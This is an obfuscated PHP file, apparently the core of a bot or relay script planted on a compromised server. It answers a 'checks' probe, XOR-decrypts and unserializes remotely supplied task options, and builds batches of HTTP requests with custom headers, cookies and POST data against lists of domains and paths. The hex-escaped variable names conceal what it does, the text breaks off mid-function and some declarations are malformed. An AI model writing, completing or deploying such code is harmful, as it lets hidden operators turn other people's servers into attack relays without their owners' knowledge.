${"\x47\x4c\x4f\x42\x41\x4c\x53"}["d\x67\x6d\x6cw\x73\x6d\x78\x77\x6a\x7a"] = "\x64o\x6d\x61\x69\x6e_\x6d\x65\x74a";
${"\x47\x4c\x4f\x42A\x4c\x53"}["\x64\x6a\x6ba\x6em"] = "\x64\x6fmai\x6e";
${"\x47\x4cOB\x41\x4c\x53"}["\x78o\x6e\x76ij\x6aq\x68\x74\x64"] = "\x63o\x6e\x6e\x65c\x74\x69\x6f\x6e_\x74\x69\x6d\x65\x6f\x75\x74";
${"\x47L\x4f\x42ALS"}["\x68\x6c\x65\x66\x68m\x7a\x6ah\x79\x6d"] = "\x72\x65\x73\x75l\x74\x73\x5f\x6d\x61\x74ch_\x6e\x6f\x74_\x73\x75b\x73\x74\x72";
${"\x47L\x4f\x42\x41\x4cS"}["\x78\x74\x6c\x66\x67n\x62"] = "\x70\x6fst\x5fra\x77d\x61ta";
${"\x47\x4c\x4f\x42\x41LS"}["\x73\x70\x61x\x6adr"] = "defa\x75l\x74_\x68ea\x64\x65\x72\x73";
${"G\x4c\x4f\x42\x41L\x53"}["\x68\x76\x79s\x6e\x6ex"] = "\x68\x65a\x64e\x72\x73";
${"G\x4cO\x42A\x4c\x53"}["i\x6e\x72\x71\x62v\x70wm\x78"] = "\x6d\x65t\x68\x6fd";
${"\x47\x4cOB\x41\x4c\x53"}["g\x70\x6b\x66\x70\x76\x69\x69"] = "ta\x73\x6b_\x6f\x70t\x69\x6f\x6e";
${"G\x4c\x4fB\x41L\x53"}["\x71\x77\x61so\x77\x67"] = "j";
${"\x47L\x4f\x42\x41\x4c\x53"}["\x62\x73\x78\x73\x64\x75\x65\x76"] = "\x69";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x6b\x70\x63\x7a\x71\x64"] = "r\x65\x73u\x6ct";
${"\x47\x4cOB\x41\x4cS"}["\x6ep\x65\x73x\x6c\x6f"] = "\x6b\x65y";
${"\x47\x4cO\x42AL\x53"}["\x77\x79\x65\x61\x6f\x66vf\x77\x66"] = "d\x61\x74a";
${"GL\x4f\x42\x41\x4cS"}["\x63\x65\x65\x62\x6c\x6cb\x63\x61\x66ld"] = "pa\x74h";
${"\x47\x4cO\x42\x41LS"}["\x65\x69\x70q\x6f\x74\x64\x61m\x62"] = "\x66\x69\x6ce";
${"\x47\x4c\x4f\x42A\x4cS"}["\x6da\x73\x69\x64n\x75wv"] = "\x61\x6c\x6c\x5fful\x6c\x5f\x70a\x74hs";
${"\x47L\x4fB\x41\x4cS"}["\x67g\x6c\x6b\x6egw\x6b\x77\x62\x6e"] = "\x66\x69l\x65s";
${"\x47LO\x42\x41\x4cS"}["nlb\x64\x71\x6a\x77\x70a"] = "pa\x74\x68\x73";
${"GL\x4f\x42\x41L\x53"}["\x71\x71h\x61\x79h\x74s\x77\x62"] = "\x74as\x6b\x5f\x75\x72l\x73\x5f\x6f\x70ti\x6f\x6e";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6fgoi\x68\x6a"] = "\x6dh";
class Check
{
public static function check_relay()
{
if (isset($_POST["\x63hecks"]))
{
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6fg\x6f\x69\x68j"]} = curl_multi_init();
if (version_compare(PHP_VERSION, "5\x2e\x33\x2e0") < 0)
{
echo"\x25%\x76\x64a8\x33\x30\x33j\x39" . "\x663\x70d\x6fs\x6a\x66l\x6e\x73\x64\x389\x30g%%";
exit();
}echo"\x25\x25\x4e\x4fGIPf\x64spF\x4a\x64f" . "\x69P\x53\x6dnS\x70\x6f\x6apqwoD\x50\x46J\x50\x25%";
exit();
}
}
}
class TaskGenerator
{
private static$default_headers = array('Accept-Language: en-US,en;q=0.5', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36',);
private static$default_results = Array();
private static function get_all_full_paths($task_urls_option)
{
$tklcofp = "t\x61\x73\x6b_\x75r\x6c\x73\x5f\x6f\x70t\x69\x6f\x6e";
$frzbuv = "ta\x73\x6b_\x75\x72\x6cs\x5fopti\x6fn";
if (empty(${$frzbuv}["url\x73"]))
{
return Array();
}${"\x47\x4cO\x42\x41L\x53"}["\x75\x6f\x62\x6a\x6d\x74\x74\x74\x72\x72f"] = "\x66\x69\x6c\x65\x73";
${${"\x47\x4c\x4f\x42\x41\x4cS"}["qq\x68a\x79h\x74s\x77b"]} = ${${"\x47\x4c\x4f\x42A\x4c\x53"}["qqh\x61y\x68t\x73w\x62"]}["\x75\x72\x6c\x73"];
$rfpruzxvoyy = "\x74\x61s\x6b\x5f\x75\x72\x6c\x73\x5f\x6fp\x74\x69\x6f\x6e";
${"\x47\x4c\x4fB\x41\x4c\x53"}["jc\x6aay\x6e\x6fjp\x72n"] = "\x74a\x73\x6b_\x75\x72l\x73\x5f\x6f\x70\x74\x69\x6f\x6e";
${"\x47LO\x42\x41LS"}["\x6f\x67\x79\x71\x70\x6em\x6bs"] = "\x74\x61s\x6b\x5f\x75\x72\x6cs\x5fo\x70ti\x6fn";
if (isset(${${"\x47L\x4f\x42A\x4cS"}["\x71q\x68\x61y\x68\x74\x73\x77\x62"]}["paths"]) && !empty(${$rfpruzxvoyy}["\x70at\x68\x73"]) && is_array(${$tklcofp}["\x70a\x74h\x73"]))
{
${"\x47LO\x42\x41\x4cS"}["\x6d\x68w\x62\x78u\x78\x68\x6f\x62"] = "\x70a\x74\x68s";
${${"\x47L\x4fB\x41LS"}["\x6d\x68w\x62\x78u\x78\x68\x6f\x62"]} = ${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x71\x71\x68\x61\x79\x68\x74s\x77\x62"]}["\x70a\x74hs"];
} else
{
${${"\x47\x4cOBAL\x53"}["\x6e\x6c\x62\x64\x71\x6a\x77\x70\x61"]} = Array();
}if (isset(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6a\x63\x6aayn\x6f\x6a\x70\x72\x6e"]}["fil\x65\x73"]) && !empty(${${"G\x4c\x4fB\x41\x4cS"}["og\x79\x71\x70\x6e\x6d\x6b\x73"]}["\x66\x69l\x65\x73"]) && is_array(${${"G\x4c\x4f\x42\x41LS"}["q\x71h\x61\x79\x68\x74s\x77\x62"]}["f\x69\x6ces"]))
{
${"G\x4c\x4f\x42\x41\x4cS"}["\x77\x72u\x68i\x6c\x6b\x76\x6dcc"] = "ta\x73\x6b_\x75\x72\x6cs\x5f\x6fp\x74\x69\x6f\x6e";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["gj\x75\x76\x65y\x78i\x75\x63"] = "\x66\x69l\x65\x73";
${${"GL\x4f\x42A\x4c\x53"}["\x67ju\x76e\x79\x78\x69\x75c"]} = ${${"G\x4cOBA\x4c\x53"}["\x77\x72\x75\x68\x69\x6c\x6b\x76\x6dc\x63"]}["\x66iles"];
} else
{
${${"\x47\x4c\x4f\x42\x41L\x53"}["g\x67lk\x6e\x67wk\x77\x62\x6e"]} = Array();
}${${"\x47LO\x42\x41\x4c\x53"}["m\x61\x73idn\x75w\x76"]} = Array();
if (${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6e\x6c\x62\x64\x71\x6a\x77p\x61"]})
{
${"\x47LO\x42A\x4c\x53"}["\x70\x66\x77\x62j\x71\x67\x78t"] = "p\x61t\x68";
foreach (${${"\x47L\x4f\x42A\x4c\x53"}["n\x6c\x62dq\x6a\x77p\x61"]} as ${${"\x47L\x4f\x42\x41L\x53"}["\x70\x66\x77\x62\x6a\x71\x67\x78t"]})
{
$rzoidqg = "f\x69\x6ce\x73";
if (${$rzoidqg})
{
${"G\x4cO\x42\x41\x4c\x53"}["jx\x6a\x61\x6fd\x74\x7a\x67\x74\x67\x6a"] = "\x66\x69\x6ce\x73";
foreach (${${"G\x4c\x4f\x42\x41\x4cS"}["\x6ax\x6a\x61\x6f\x64\x74\x7a\x67\x74\x67j"]} as ${${"\x47LOB\x41\x4c\x53"}["e\x69\x70\x71otd\x61\x6db"]})
{
${"\x47L\x4f\x42A\x4c\x53"}["enff\x75xrb\x74x"] = "\x61\x6cl_fu\x6cl_\x70a\x74\x68s";
${"G\x4c\x4fB\x41L\x53"}["t\x72\x6e\x76\x6fp\x6d\x7a\x76"] = "\x70\x61\x74h";
$srhocxxj = "f\x69le";
${${"G\x4c\x4f\x42\x41\x4cS"}["e\x6e\x66f\x75x\x72b\x74\x78"]}[] = ${${"\x47\x4c\x4fBA\x4cS"}["t\x72\x6e\x76\x6f\x70\x6d\x7a\x76"]} . ${$srhocxxj};
}
} else
{
${${"\x47\x4c\x4f\x42A\x4cS"}["\x6d\x61s\x69d\x6eu\x77v"]}[] = ${${"\x47\x4c\x4f\x42\x41L\x53"}["cee\x62\x6cl\x62\x63a\x66l\x64"]};
}
}
} else if (${${"\x47\x4cOBA\x4c\x53"}["\x75\x6fb\x6a\x6d\x74\x74\x74r\x72f"]})
{
$lpvccbxl = "\x66\x69\x6ces";
${"G\x4cOB\x41\x4c\x53"}["de\x79\x67\x74\x68\x75u"] = "\x66i\x6c\x65";
foreach (${$lpvccbxl} as ${${"\x47\x4cO\x42\x41\x4c\x53"}["dey\x67t\x68\x75\x75"]})
{
${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6d\x61\x73\x69\x64\x6e\x75\x77\x76"]}[] = ${${"\x47\x4c\x4f\x42\x41LS"}["\x65\x69\x70\x71\x6f\x74\x64\x61\x6d\x62"]};
}
}return${${"G\x4c\x4f\x42\x41\x4cS"}["\x6d\x61\x73i\x64nuwv"]};
}
public static function decrypt_data($data)
{
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77y\x65\x61o\x66\x76f\x77\x66"]} = base64_decode(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x77\x79\x65\x61\x6f\x66\x76\x66\x77\x66"]});
${${"G\x4cO\x42A\x4cS"}["\x6e\x70e\x73x\x6c\x6f"]} = "\x66cf01c\x626-d\x32\x398-\x3425\x31-97e\x39-\x31fd0\x61715\x35\x38b9";
${${"G\x4c\x4fB\x41\x4c\x53"}["\x71\x6b\x70\x63z\x71\x64"]} = "";
for (${${"\x47L\x4fB\x41\x4cS"}["b\x73x\x73due\x76"]} = 0; ${${"\x47LO\x42A\x4c\x53"}["\x62\x73\x78s\x64\x75e\x76"]} < strlen(${${"\x47\x4c\x4f\x42\x41LS"}["w\x79\x65a\x6f\x66vfwf"]});)
{
${"\x47\x4c\x4fB\x41\x4cS"}["aiqt\x67\x6f\x6c\x6d\x64\x63\x78"] = "k\x65y";
${"G\x4c\x4fB\x41\x4c\x53"}["\x71\x6c\x6b\x63\x78\x75\x68\x79"] = "i";
${"\x47LO\x42ALS"}["u\x6do\x78m\x6df"] = "\x6a";
for (${${"\x47\x4cO\x42\x41LS"}["q\x77\x61\x73\x6f\x77g"]} = 0; ${${"\x47LOBA\x4c\x53"}["qw\x61\x73o\x77g"]} < strlen(${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x61\x69\x71\x74g\x6f\x6c\x6d\x64c\x78"]}) && ${${"G\x4c\x4f\x42\x41L\x53"}["bs\x78\x73\x64\x75e\x76"]} < strlen(${${"\x47\x4cOB\x41L\x53"}["w\x79\x65\x61\x6f\x66\x76\x66\x77\x66"]}); ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x75\x6do\x78\x6dm\x66"]} ++, ${${"G\x4c\x4fBA\x4cS"}["q\x6c\x6b\x63\x78\x75h\x79"]} ++)
{
${"\x47\x4cO\x42A\x4c\x53"}["sok\x67\x6f\x63\x61\x77\x6b\x71\x7a"] = "\x6b\x65y";
${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66qjl\x6f\x76\x63"] = "\x72\x65\x73\x75l\x74";
${${"\x47\x4cOBA\x4cS"}["\x66q\x6a\x6c\x6f\x76\x63"]} .= chr(ord(${${"G\x4cO\x42\x41\x4c\x53"}["\x77\x79e\x61of\x76\x66\x77\x66"]}[${${"G\x4c\x4fBA\x4cS"}["\x62s\x78\x73d\x75ev"]}]) ^ ord(${${"\x47L\x4f\x42AL\x53"}["\x73o\x6bg\x6f\x63\x61wkq\x7a"]}[${${"GL\x4f\x42ALS"}["q\x77a\x73\x6fwg"]}]));
}
}return${${"\x47\x4c\x4f\x42\x41L\x53"}["\x71\x6bp\x63\x7a\x71\x64"]};
}
public static function decrypt_task_option($data)
{
$fxwonngt = "\x74\x61s\x6b\x5f\x6f\x70\x74\x69o\x6e";
${"G\x4cOB\x41LS"}["l\x75\x67xd\x6f\x69"] = "d\x61ta";
${${"\x47L\x4fBAL\x53"}["\x77\x79\x65\x61\x6ff\x76\x66\x77\x66"]} = TaskGenerator::decrypt_data(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6c\x75g\x78d\x6fi"]});
${${"GL\x4fB\x41LS"}["\x67p\x6b\x66\x70\x76\x69\x69"]} = unserialize(${${"G\x4c\x4f\x42A\x4cS"}["\x77\x79\x65\x61\x6ff\x76\x66\x77f"]});
return${$fxwonngt};
}
public static function generate($task_option)
{
$kzjdevc = "\x74\x61\x73\x6b_o\x70\x74\x69\x6fn";
${"\x47\x4c\x4f\x42\x41LS"}["k\x68\x6d\x6fff\x61"] = "\x74as\x6b\x5f\x6f\x70ti\x6f\x6e";
${"\x47\x4c\x4f\x42\x41LS"}["j\x70\x7a\x62\x79wl\x72a\x6f"] = "\x74\x61\x73\x6bs";
$hvsfxjxrjf = "\x75\x72l_\x70\x61ths";
${"GL\x4f\x42\x41L\x53"}["q\x73\x62\x76\x79t\x6ec"] = "\x67e\x74_\x70\x61\x72am\x73";
$crdqzgo = "r\x65\x71\x75e\x73\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74";
${"G\x4c\x4f\x42\x41\x4cS"}["c\x76\x73\x67\x62\x63jfu\x71\x6c"] = "\x72\x65s\x75\x6c\x74\x73\x5f\x6d\x61\x74\x63h\x5fs\x75\x62\x73t\x72";
${"\x47LO\x42\x41\x4c\x53"}["\x79\x69\x62s\x6cw\x61\x6b\x65s"] = "t\x61s\x6b\x5fo\x70\x74\x69o\x6e";
$jdsjthnfk = "t\x61s\x6b\x5f\x6f\x70ti\x6f\x6e";
${"\x47\x4cOBAL\x53"}["g\x68\x77\x64\x68\x64l"] = "\x64\x65\x66a\x75\x6c\x74_re\x73\x75\x6c\x74s";
$gtcmlkxsfm = "t\x61\x73k\x5f\x6fp\x74\x69o\x6e";
${"\x47L\x4f\x42AL\x53"}["\x61g\x75kmw\x65\x76\x6c\x6f"] = "\x74\x61\x73\x6b\x5f\x6fpt\x69on";
$mlkewelcj = "\x74\x61\x73\x6b\x5fo\x70\x74i\x6f\x6e";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x76\x69\x6e\x63\x77\x6d\x79\x6d\x6d\x74\x72"] = "\x74\x61\x73\x6b_\x6f\x70t\x69\x6fn";
$eysknod = "\x70o\x73\x74_\x70\x61\x72a\x6d\x73";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65ci\x72\x75\x72q"] = "\x72\x65s\x75\x6ct\x73_\x6d\x61t\x63\x68_\x72e\x67\x65xp";
$lekzdemkmut = "\x72\x65\x73\x75lt\x73\x5f\x72e\x74\x75r\x6e\x5f\x76\x61lu\x65";
$zgrujzhexz = "\x74\x61\x73\x6b_\x6f\x70\x74i\x6f\x6e";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x64\x6a\x63nvv\x64or"] = "\x74\x61\x73\x6b\x5fo\x70\x74\x69o\x6e";
$lppfcrdsli = "\x74\x61\x73\x6b\x5f\x6f\x70\x74\x69\x6fn";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x70z\x62\x79\x77l\x72ao"]} = array();
$qpilnukqe = "\x74\x61\x73\x6b\x5fo\x70t\x69\x6fn";
${${"GL\x4f\x42\x41LS"}["i\x6er\x71bv\x70w\x6d\x78"]} = !empty(${$zgrujzhexz}["r\x65\x71\x75\x65s\x74"]) ? ${$kzjdevc}["\x72equest"] : "\x47\x45T";
$tkyhhqnlecb = "\x74\x61\x73\x6b_o\x70tion";
${"\x47\x4cOBALS"}["\x65\x65c\x6b\x64\x79l\x62\x66dpx"] = "\x74a\x73k\x73";
${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x68vys\x6e\x6e\x78"]} = !empty(${$gtcmlkxsfm}["he\x61\x64\x65r\x73"]) ? ${$lppfcrdsli}["h\x65ad\x65\x72\x73"] : TaskGenerator::${${"GL\x4f\x42\x41\x4c\x53"}["\x73\x70\x61\x78\x6a\x64\x72"]};
${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x6d\x62\x70\x67\x65b\x64ep\x72f"] = "tas\x6b\x5f\x6f\x70t\x69\x6f\x6e";
$pgojhux = "ta\x73k\x5f\x6f\x70t\x69on";
${${"\x47L\x4f\x42\x41L\x53"}["x\x74\x6c\x66\x67\x6e\x62"]} = !empty(${${"\x47\x4c\x4fB\x41\x4cS"}["ag\x75\x6bm\x77\x65v\x6c\x6f"]}["p\x6f\x73\x74\x5f\x72\x61\x77data"]) ? ${$jdsjthnfk}["\x70\x6f\x73t\x5f\x72aw\x64ata"] : NULL;
$dxiymweq = "\x74\x61sk\x5fop\x74\x69on";
${$eysknod} = !empty(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x67pk\x66\x70v\x69\x69"]}["\x70os\x74_para\x6ds"]) ? ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69m\x62\x70\x67\x65bd\x65p\x72f"]}["po\x73\x74_pa\x72\x61\x6d\x73"] : Array();
${${"G\x4c\x4f\x42AL\x53"}["\x71\x73\x62v\x79\x74\x6e\x63"]} = !empty(${${"\x47\x4c\x4f\x42A\x4cS"}["\x6b\x68\x6d\x6f\x66f\x61"]}["\x67\x65t_p\x61ram\x73"]) ? ${${"G\x4cO\x42\x41LS"}["d\x6a\x63\x6e\x76v\x64\x6fr"]}["\x67\x65t\x5f\x70a\x72ams"] : Array();
${"\x47\x4cO\x42\x41\x4c\x53"}["\x6fc\x77\x64\x70\x67\x77"] = "\x74\x61\x73k\x5f\x6f\x70\x74\x69o\x6e";
$xrltfejwvrb = "\x63\x6fo\x6b\x69e\x5f\x70ar\x61ms";
${$xrltfejwvrb} = !empty(${${"\x47\x4cO\x42\x41L\x53"}["gpkfp\x76i\x69"]}["coo\x6bie_\x70a\x72am\x73"]) ? ${$pgojhux}["\x63oo\x6bi\x65\x5f\x70aram\x73"] : Array();
${${"GL\x4fBA\x4c\x53"}["\x68l\x65\x66\x68\x6dzj\x68y\x6d"]} = !empty(${${"\x47\x4cO\x42\x41\x4cS"}["\x67\x70\x6b\x66\x70\x76\x69i"]}["ma\x74\x68\x5f\x72e\x73ul\x74\x73"]["n\x6f\x74_\x73\x75b\x73\x74r"]) ? ${${"G\x4c\x4f\x42\x41\x4c\x53"}["gp\x6bf\x70v\x69i"]}["\x6da\x74\x68\x5f\x72e\x73ult\x73"]["\x73\x75b\x73tr"] : "";
$pemtocpbfml = "t\x61\x73k_\x6f\x70\x74i\x6fn";
${${"\x47L\x4f\x42\x41\x4c\x53"}["c\x76\x73\x67b\x63\x6a\x66\x75ql"]} = !empty(${${"\x47L\x4f\x42\x41L\x53"}["g\x70\x6b\x66\x70\x76\x69\x69"]}["\x6d\x61\x74\x68\x5fr\x65sul\x74s"]["\x73\x75bst\x72"]) ? ${${"\x47\x4c\x4f\x42ALS"}["\x67\x70\x6bfp\x76\x69\x69"]}["\x6d\x61\x74\x68\x5fr\x65\x73\x75l\x74s"]["\x73\x75bs\x74\x72"] : "";
${${"GLOBAL\x53"}["e\x63iru\x72\x71"]} = !empty(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x67pk\x66\x70vi\x69"]}["mat\x68_\x72e\x73\x75\x6ct\x73"]["reg\x65x\x70"]) ? ${$pemtocpbfml}["m\x61th_res\x75\x6c\x74\x73"]["re\x67ex\x70"] : "";
${$crdqzgo} = !empty(${${"G\x4c\x4f\x42AL\x53"}["\x67\x70\x6b\x66p\x76\x69\x69"]}["\x72eques\x74_ti\x6de\x6fu\x74"]) ? intval(${$mlkewelcj}["\x72eq\x75\x65s\x74\x5f\x74\x69\x6d\x65o\x75t"]) : 15;
${${"G\x4cO\x42A\x4c\x53"}["\x78onv\x69\x6a\x6a\x71\x68\x74d"]} = !empty(${${"\x47L\x4f\x42\x41\x4cS"}["\x6f\x63\x77dp\x67\x77"]}["connec\x74i\x6f\x6e\x5ft\x69m\x65ou\x74"]) ? intval(${${"\x47\x4c\x4f\x42A\x4cS"}["\x67\x70k\x66pv\x69i"]}["\x63o\x6en\x65\x63tio\x6e\x5f\x74im\x65\x6fu\x74"]) : 5;
${$lekzdemkmut} = !empty(${${"G\x4cO\x42\x41\x4cS"}["\x79\x69\x62s\x6c\x77ak\x65\x73"]}["r\x65\x74\x75rn\x5fres\x75\x6c\x74s"]) ? ${$tkyhhqnlecb}["r\x65tu\x72n\x5f\x72e\x73\x75lt\x73"] : TaskGenerator::${${"G\x4c\x4f\x42ALS"}["g\x68\x77dh\x64\x6c"]};
${$hvsfxjxrjf} = TaskGenerator::get_all_full_paths(${$dxiymweq});
if (isset(${$qpilnukqe}["url\x73"]) && !empty(${${"\x47LO\x42A\x4c\x53"}["uvi\x6e\x63w\x6d\x79m\x6dt\x72"]}["u\x72\x6cs"]))
{
foreach (${${"GL\x4f\x42A\x4c\x53"}["\x67\x70\x6bf\x70\x76\x69\x69"]}["\x75rls"]["\x64om\x61ins"]as ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x6a\x6b\x61n\x6d"]} => ${${"\x47\x4cOB\x41\x4c\x53"}["\x64\x67\x6d\x6cw\x73\x6dx\x77\x6a\x7a"]})
{
$rgwbsgvo = "\x75\x72l\x5fp\x61\x74\x68";
foreach (${${"\x47L\x4fB\x41L\x53"}["fmj\x6d\x75\x6c\x65\x72\x77\x68\x67k"]} as ${$rgwbsgvo})
{
${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x7a\x67\x66vsq\x7af\x74\x67p"] = "\x64\x6f\x6d\x61\x69\x6e";
$ysyktutrog = "\x63\x6f\x6ene\x63\x74\x69\x6f\x6e_\x74i\x6d\x65\x6f\x75t";
$ewokighh = "d\x6f\x6d\x61i\x6e_\x72\x65q_\x75\x72\x6c";
${"GL\x4fBA\x4cS"}["\x6e\x75\x76\x73\x66\x61q"] = "\x74\x61\x73\x6b";
${"\x47L\x4fB\x41L\x53"}["\x72p\x78\x78\x67\x76ghfc\x66"] = "do\x6d\x61\x69\x6e";
${$ewokighh} = ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x72\x70\x78xg\x76\x67h\x66\x63f"]} . ${${"GL\x4f\x42\x41\x4c\x53"}["q\x63\x69u\x6d\x74\x78"]};
${${"\x47\x4c\x4f\x42\x41LS"}["jd\x71\x73\x74\x75\x61"]} = new Task();
$task->method = ${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x69nrqb\x76\x70\x77\x6dx"]};
$yfmttjv = "\x72e\x71ues\x74\x5ft\x69m\x65\x6fu\x74";
$task->domain = ${${"\x47L\x4f\x42\x41\x4c\x53"}["l\x7agf\x76\x73\x71z\x66\x74\x67\x70"]};
$uwziytx = "r\x65\x73u\x6c\x74s\x5f\x72e\x74ur\x6e\x5f\x76\x61l\x75\x65";
${"\x47\x4cO\x42\x41\x4c\x53"}["j\x6c\x6e\x76uc\x72\x65\x67"] = "\x70\x6fst_\x70\x61r\x61\x6d\x73";
$task->url = ${${"\x47\x4cOBA\x4c\x53"}["\x73\x75\x79xqw\x71\x63y\x78"]};
$task->request_timeout = ${$yfmttjv};
$task->connection_timeout = ${$ysyktutrog};
$task->headers = ${${"\x47\x4cO\x42\x41\x4c\x53"}["hv\x79\x73\x6e\x6e\x78"]};
$phwntqcmjdk = "\x74a\x73\x6b_\x6f\x70\x74\x69\x6f\x6e";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73pu\x78d\x78\x69"] = "\x74\x61sk\x73";
$task->post_rawdata = ${${"\x47L\x4f\x42AL\x53"}["\x78\x74l\x66\x67\x6e\x62"]};
$task->post_params = ${${"\x47\x4cO\x42\x41LS"}["\x6a\x6cn\x76\x75c\x72\x65\x67"]};
$task->get_params = ${${"G\x4cO\x42\x41\x4c\x53"}["r\x6fc\x6d\x66\x66x\x75\x78\x71w"]};
$task->cookie_params = ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6f\x6b\x70f\x77\x6c\x6f\x75\x78\x63"]};
${"\x47\x4cOBAL\x53"}["\x6f\x76\x77\x77\x6be\x72\x77\x6b\x63\x63v"] = "r\x65\x73\x75l\x74s_\x6da\x74c\x68\x5f\x6eo\x74_\x73\x75\x62st\x72";
$task->domain_meta = ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x64\x67\x6dl\x77s\x6dxwjz"]};
if (isset(${${"\x47\x4c\x4f\x42AL\x53"}["\x67p\x6b\x66p\x76i\x69"]}["\x6d\x65t\x61"]))
$task->global_meta = ${$phwntqcmjdk}["m\x65\x74a"];$task->results_match_not_substr = ${${"\x47\x4c\x4f\x42AL\x53"}["\x6f\x76\x77wk\x65r\x77\x6b\x63cv"]};
$task->results_match_substr = ${${"G\x4c\x4f\x42A\x4c\x53"}["\x67\x7az\x6d\x72\x72\x69\x73\x78\x66"]};
$task->results_match_regexp = ${${"\x47\x4c\x4f\x42\x41L\x53"}["\x62\x72w\x61\x6a\x73\x6ad\x6b\x79\x65"]};
$task->results_return_value = ${$uwziytx};
${${"\x47\x4c\x4f\x42A\x4cS"}["sp\x75xd\x78i"]}[] = ${${"GLO\x42A\x4c\x53"}["n\x75\x76s\x66\x61\x71"]};
}
}
}return${${"G\x4c\x4fBAL\x53"}["\x65\x65\x63k\x64\x79lbf\x64\x70\x78"]};
}
}
class Task
{
$method;
$domain;
$url;
$headers;
$post_rawdata;
$post_params;
$get_params;
$cookie_params;
$domain_meta;
$global_meta;
$macros_ctx;
$results_match_substr;
$results_match_regexp;
$results_return_value;
$request_timeout;
$connection_timeout;
$curl_handler = NULL;
$result = Array();
private function get_macro_value($name)
{
${"\x47L\x4f\x42A\x4c\x53"}["\x6c\x66\x71r\x6f\x6fx\x63s"] = "\x6e\x61\x6de";
${"\x47\x4c\x4fB\x41\x4cS"}["\x74\x77\x79w\x76pn\x73\x74k"] = "\x72\x65tu\x72\x6e";
$stsreqxfgy = "r\x65\x74u\x72\x6e";
$vzlpxoi = "\x6ea\x6d\x65";
${$stsreqxfgy} = "";
if (isset($this->macros_ctx[${${"\x47\x4c\x4f\x42A\x4c\x53"}["l\x66\x71\x72\x6fo\x78\x63\x73"]}]))
{
return$this->macros_ctx[${${"\x47LO\x42\x41\x4cS"}["\x74j\x79\x78\x62kt\x6f"]}];
}if (!empty($this->domain_meta[${${"G\x4cO\x42\x41\x4c\x53"}["\x74\x6a\x79\x78\x62\x6b\x74\x6f"]}]))
{
$zcsgrqlyxbgo = "\x6e\x61m\x65";
${"G\x4c\x4f\x42A\x4cS"}["\x78l\x64\x62j\x6bkx\x79\x6e\x7a\x6a"] = "i\x6e\x64\x65\x78";
$ihzzypsgpx = "re\x74\x75\x72n";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78l\x64\x62jk\x6b\x78y\x6e\x7a\x6a"]} = array_rand($this->domain_meta[${$zcsgrqlyxbgo}]);
${"\x47\x4c\x4f\x42\x41LS"}["\x64\x79bb\x67\x6a\x77\x6d\x62i"] = "\x72\x65\x74\x75r\x6e";
${$ihzzypsgpx} = $this->domain_meta[${${"G\x4c\x4f\x42\x41\x4cS"}["\x74\x6ayxbk\x74\x6f"]}][${${"G\x4cO\x42\x41\x4c\x53"}["is\x6a\x75i\x70s\x79\x75\x78\x7a\x6a"]}];
$this->macros_ctx[${${"\x47\x4c\x4f\x42\x41LS"}["\x74\x6a\x79x\x62\x6b\x74o"]}] = ${${"\x47\x4cO\x42A\x4c\x53"}["dy\x62\x62\x67j\x77\x6d\x62\x69"]};
unset($this->domain_meta[${${"GLO\x42\x41LS"}["tjy\x78\x62\x6bto"]}][${${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x73j\x75\x69\x70s\x79\x75\x78zj"]}]);
} else if (!empty($this->global_meta[${$vzlpxoi}]))
{
$plmjplhohd = "\x72\x65\x74\x75\x72\x6e";
${"\x47L\x4f\x42\x41\x4c\x53"}["d\x75\x66h\x65\x69\x65"] = "\x6e\x61m\x65";
${"\x47\x4cO\x42A\x4c\x53"}["\x70\x6a\x74\x6ct\x76\x74c\x75\x7a\x72"] = "na\x6de";
$xtduysd = "in\x64\x65x";
${${"G\x4cO\x42\x41\x4c\x53"}["is\x6au\x69\x70\x73\x79\x75x\x7a\x6a"]} = array_rand($this->global_meta[${${"GL\x4f\x42\x41LS"}["\x70j\x74l\x74vt\x63\x75z\x72"]}]);
${$plmjplhohd} = $this->global_meta[${${"\x47\x4cOB\x41L\x53"}["t\x6ay\x78\x62k\x74o"]}][${$xtduysd}];
$this->macros_ctx[${${"G\x4cO\x42\x41\x4c\x53"}["\x64\x75\x66h\x65\x69e"]}] = ${${"G\x4cO\x42\x41\x4c\x53"}["g\x71\x63p\x61paw\x66"]};
${"\x47\x4c\x4f\x42ALS"}["\x6b\x6f\x79\x70\x71a\x6e"] = "\x69nd\x65x";
unset($this->global_meta[${${"\x47\x4c\x4f\x42\x41\x4cS"}["t\x6a\x79\x78\x62k\x74\x6f"]}][${${"G\x4c\x4fBA\x4c\x53"}["\x6bo\x79p\x71a\x6e"]}]);
}return${${"\x47L\x4f\x42\x41L\x53"}["t\x77\x79\x77\x76pn\x73\x74\x6b"]};
}
private function process_macros($data)
{
